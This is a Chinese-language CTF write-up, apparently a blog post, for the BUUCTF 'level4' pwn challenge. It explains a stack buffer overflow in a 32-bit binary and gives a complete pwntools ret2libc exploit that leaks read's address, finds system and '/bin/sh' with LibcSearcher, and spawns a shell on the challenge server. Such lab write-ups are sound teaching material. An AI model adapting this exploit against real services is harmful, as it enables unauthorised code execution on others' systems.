[BUUCTF]PWN——level4

本文介绍了一种利用ret2libc技术在存在内存溢出漏洞的32位程序中获取shell的方法。通过泄露libc版本,计算基址并找到system及bin/sh地址,最终构造ROP攻击实现目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

level4

附件

步骤:

  1. 例行检查,32位程序,开启了NX保护
    在这里插入图片描述
  2. 运行一下程序,看看大概的情况
    在这里插入图片描述
  3. 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转
    在这里插入图片描述
  4. 输入点在function里
    在这里插入图片描述
    参数buf存在溢出漏洞,字符串里没有找到现成的后门可以利用,所以使用ret2libc的方法来获取shell

利用过程:

  1. 泄露libc版本
    只能通过程序里已经调用过的函数才行,这里利用的read函数
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']

payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
  1. 计算libc基址,然后找到程序里system和bin/sh的地址
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
  1. 构造rop攻击,获取shell
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)

完整exp:

from pwn import *
from LibcSearcher import *

r=remote("node3.buuoj.cn",25393)
context(os = "linux", arch = "i386", log_level= "debug")
elf=ELF('./level4')

read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']

payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)

r.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值